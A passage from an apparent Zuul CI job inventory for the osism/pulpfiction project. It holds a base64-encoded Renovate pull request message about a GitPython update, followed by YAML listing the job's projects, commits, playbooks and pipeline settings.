0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA0NCkKLSBDbGFyaWZ5IGBVU0VfU0hFTExgIHdhcm5pbmcgaGVscGVyIHNpZ25hdHVyZSBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjA0NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNDUpCi0gVGVzdCBgQ29uZmlnUGFyc2VyYCB3aXRoIHdoaXRlc3BhY2Ugb3V0c2lkZSB0aGUgdmFsdWUgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNDZdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDQ2KQotIFJlbW92ZSBleHBsaWNpdCBlbXB0eSBgIiJgIGhhbmRsaW5nIGluIENvbmZpZ1BhcnNlciBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjA0N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNDcpCi0gVmFyaW91cyBzdHlsZSBpbXByb3ZlbWVudHMgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNDldKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDQ5KQotIERvbid0IHJlbW92ZSBxdW90ZXMgaWYgYFxgIG9yIGAiYCBhcmUgcHJlc2VudCBpbnNpZGUgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNDhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDQ4KQotIGZpeCB1cGRhdGluZyBzdWJtb2R1bGVzIHdpdGggcmVsYXRpdmUgdXJscyBieSBbQCYjODIwMztkYXZpZDBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9kYXZpZDApIGluIFsjJiM4MjAzOzIwNTFdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDUxKQotIFJ1biBgY2F0X2ZpbGUucHlgIGZpeHR1cmUgd2l0aG91dCBzaXRlIGN1c3RvbWl6YXRpb25zIGJ5IFtAJiM4MjAzO0VsaWFoS2FnYW5dKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9FbGlhaEthZ2FuKSBpbiBbIyYjODIwMzsyMDUyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjA1MikKLSBGaXggQ3lnd2luIGluc3RhbGxhdGlvbiBvbiBDSSBmb3IgYHBpcGAgYnkgW0AmIzgyMDM7RWxpYWhLYWdhbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL0VsaWFoS2FnYW4pIGluIFsjJiM4MjAzOzIwNTNdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDUzKQotIEZhaWwgYHRlc3RfaW5zdGFsbGF0aW9uYCBvbiB3YXJuaW5ncywgYW5kIHJlbW92ZSBkZXByZWNhdGVkIGxpY2Vuc2UgY2xhc3NpZmllciBieSBbQCYjODIwMztFbGlhaEthZ2FuXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vRWxpYWhLYWdhbikgaW4gWyMmIzgyMDM7MjA1NF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNTQpCi0gQWRkIGNsZWFyZXIgZXJyb3IgdmVyc2lvbiBmb3IgdW5zdXBwb3J0ZWQgaW5kZXggZXJyb3IgYnkgW0AmIzgyMDM7dG9tYmVkb3JdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS90b21iZWRvcikgaW4gWyMmIzgyMDM7MjA1NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNTUpCi0gRml4IG5hbWUgY29sbGlzaW9uIGJ5IFtAJiM4MjAzO05NZXJ0c2NoXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vTk1lcnRzY2gpIGluIFsjJiM4MjAzOzIwNjBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDYwKQotIEFsbG93IHJlbGF0aXZlIHBhdGggdXJsIGluIHN1Ym1vZHVsZXMgZm9yIHN1Ym1vZHVsZVxfdXBkYXRlIGJ5IFtAJiM4MjAzO3Qtd2ViYmVyXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vdC13ZWJiZXIpIGluIFsjJiM4MjAzOzIwNjJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDYyKQoKIyMjIyBOZXcgQ29udHJpYnV0b3JzCgotIFtAJiM4MjAzO2ZsaWNodGVuaGVsZF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2ZsaWNodGVuaGVsZCkgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MTk5Nl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzE5OTYpCi0gW0AmIzgyMDM7a2FtaWxrb3ppazddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9rYW1pbGtvemlrNykgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjAxMl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMTIpCi0gW0AmIzgyMDM7a295dWtpN3ddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9rb3l1a2k3dykgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjAxOF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwMTgpCi0gW0AmIzgyMDM7bmdvbGRiYXVtXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vbmdvbGRiYXVtKSBtYWRlIHRoZWlyIGZpcnN0IGNvbnRyaWJ1dGlvbiBpbiBbIyYjODIwMzsyMDE5XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjAxOSkKLSBbQCYjODIwMztnY21hcnhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9nY21hcngpIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIwMjhdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDI4KQotIFtAJiM4MjAzO2JldGFib29uXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vYmV0YWJvb24pIG1hZGUgdGhlaXIgZmlyc3QgY29udHJpYnV0aW9uIGluIFsjJiM4MjAzOzIwMzVdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMDM1KQotIFtAJiM4MjAzO2RhdmlkMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2RhdmlkMCkgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA1MV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNTEpCi0gW0AmIzgyMDM7dG9tYmVkb3JdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS90b21iZWRvcikgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA1NV0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNTUpCi0gW0AmIzgyMDM7Tk1lcnRzY2hdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9OTWVydHNjaCkgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA2MF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNjApCi0gW0AmIzgyMDM7dC13ZWJiZXJdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS90LXdlYmJlcikgbWFkZSB0aGVpciBmaXJzdCBjb250cmlidXRpb24gaW4gWyMmIzgyMDM7MjA2Ml0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9wdWxsLzIwNjIpCgoqKkZ1bGwgQ2hhbmdlbG9nKio6IDxodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbXBhcmUvMy4xLjQ0Li4uMy4xLjQ1PgoKPC9kZXRhaWxzPgoKLS0tCgojIyMgQ29uZmlndXJhdGlvbgoK8J+ThSAqKlNjaGVkdWxlKio6IChVVEMpCgotIEJyYW5jaCBjcmVhdGlvbgogIC0gIiIKLSBBdXRvbWVyZ2UKICAtIEF0IGFueSB0aW1lIChubyBzY2hlZHVsZSBkZWZpbmVkKQoK8J+apiAqKkF1dG9tZXJnZSoqOiBEaXNhYmxlZCBieSBjb25maWcuIFBsZWFzZSBtZXJnZSB0aGlzIG1hbnVhbGx5IG9uY2UgeW91IGFyZSBzYXRpc2ZpZWQuCgrimbsgKipSZWJhc2luZyoqOiBXaGVuZXZlciBQUiBiZWNvbWVzIGNvbmZsaWN0ZWQsIG9yIHlvdSB0aWNrIHRoZSByZWJhc2UvcmV0cnkgY2hlY2tib3guCgrwn5SVICoqSWdub3JlKio6IENsb3NlIHRoaXMgUFIgYW5kIHlvdSB3b24ndCBiZSByZW1pbmRlZCBhYm91dCB0aGlzIHVwZGF0ZSBhZ2Fpbi4KCi0tLQoKIC0gWyBdIDwhLS0gcmViYXNlLWNoZWNrIC0tPklmIHlvdSB3YW50IHRvIHJlYmFzZS9yZXRyeSB0aGlzIFBSLCBjaGVjayB0aGlzIGJveAoKLS0tCgpUaGlzIFBSIHdhcyBnZW5lcmF0ZWQgYnkgW01lbmQgUmVub3ZhdGVdKGh0dHBzOi8vbWVuZC5pby9yZW5vdmF0ZS8pLiBWaWV3IHRoZSBbcmVwb3NpdG9yeSBqb2IgbG9nXShodHRwczovL2RldmVsb3Blci5tZW5kLmlvL2dpdGh1Yi9vc2lzbS9wdWxwZmljdGlvbikuCjwhLS1yZW5vdmF0ZS1kZWJ1ZzpleUpqY21WaGRHVmtTVzVXWlhJaU9pSTBNeTR4TlRrdU1pSXNJblZ3WkdGMFpXUkpibFpsY2lJNklqUXpMakUxT1M0eUlpd2lkR0Z5WjJWMFFuSmhibU5vSWpvaWJXRnBiaUlzSW14aFltVnNjeUk2V3lKeVpXNXZkbUYwWlNKZGZRPT0tLT4K
      patchset: 00bd2631863b4576cf59cca91d0fbbe0b261efb2
      pipeline: check
      playbook_context:
        playbook_projects:
          trusted/project_0/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 58f24f5b479e15eb2d520850d27e3b1b6fc66aa6
          trusted/project_1/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 038dd8b856c62af4433c8477c5cb3d0480847059
          trusted/project_2/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: 9f81d10d2ad8048ca14142fe6063afb5d3bd998b
          untrusted/project_0/github.com/osism/pulpfiction:
            canonical_name: github.com/osism/pulpfiction
            checkout: main
            commit: 521c3455a5c6d64ae1036b946fa34361bf32020d
          untrusted/project_1/github.com/osism/zuul-config:
            canonical_name: github.com/osism/zuul-config
            checkout: main
            commit: 58f24f5b479e15eb2d520850d27e3b1b6fc66aa6
          untrusted/project_2/github.com/osism/openinfra-zuul-jobs:
            canonical_name: github.com/osism/openinfra-zuul-jobs
            checkout: master
            commit: 038dd8b856c62af4433c8477c5cb3d0480847059
          untrusted/project_3/github.com/osism/zuul-jobs:
            canonical_name: github.com/osism/zuul-jobs
            checkout: main
            commit: 9f81d10d2ad8048ca14142fe6063afb5d3bd998b
        playbooks:
        - path: untrusted/project_0/github.com/osism/pulpfiction/playbooks/metalbox.yml
          roles:
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_1/zuul-config
            link_target: untrusted/project_1/github.com/osism/zuul-config
            role_path: ansible/playbook_0/role_1/zuul-config/roles
          - checkout: master
            checkout_description: project default branch
            link_name: ansible/playbook_0/role_2/openinfra-zuul-jobs
            link_target: untrusted/project_2/github.com/osism/openinfra-zuul-jobs
            role_path: ansible/playbook_0/role_2/openinfra-zuul-jobs/roles
          - checkout: main
            checkout_description: zuul branch
            link_name: ansible/playbook_0/role_3/zuul-jobs
            link_target: untrusted/project_3/github.com/osism/zuul-jobs
            role_path: ansible/playbook_0/role_3/zuul-jobs/roles
      post_review: false
      post_timeout: null
      pre_timeout: null
      project:
        canonical_hostname: github.com
        canonical_name: github.com/osism/pulpfiction
        name: osism/pulpfiction
        short_name: pulpfiction
        src_dir: src/github.com/osism/pulpfiction
      projects:
        github.com/osism/pulpfiction:
          canonical_hostname: github.com
          canonical_name: github.com/osism/pulpfiction
          checkout: main
          checkout_description: zuul branch
          commit: 521c3455a5c6d64ae1036b946fa34361bf32020d
          name: osism/pulpfiction
          required: false
          short_name: pulpfiction
          src_dir: src/github.com/osism/pulpfiction
      ref: refs/pull/10/head
      resources: {}
      tenant: osism
      timeout: 1800
      topic: null
      voting: true
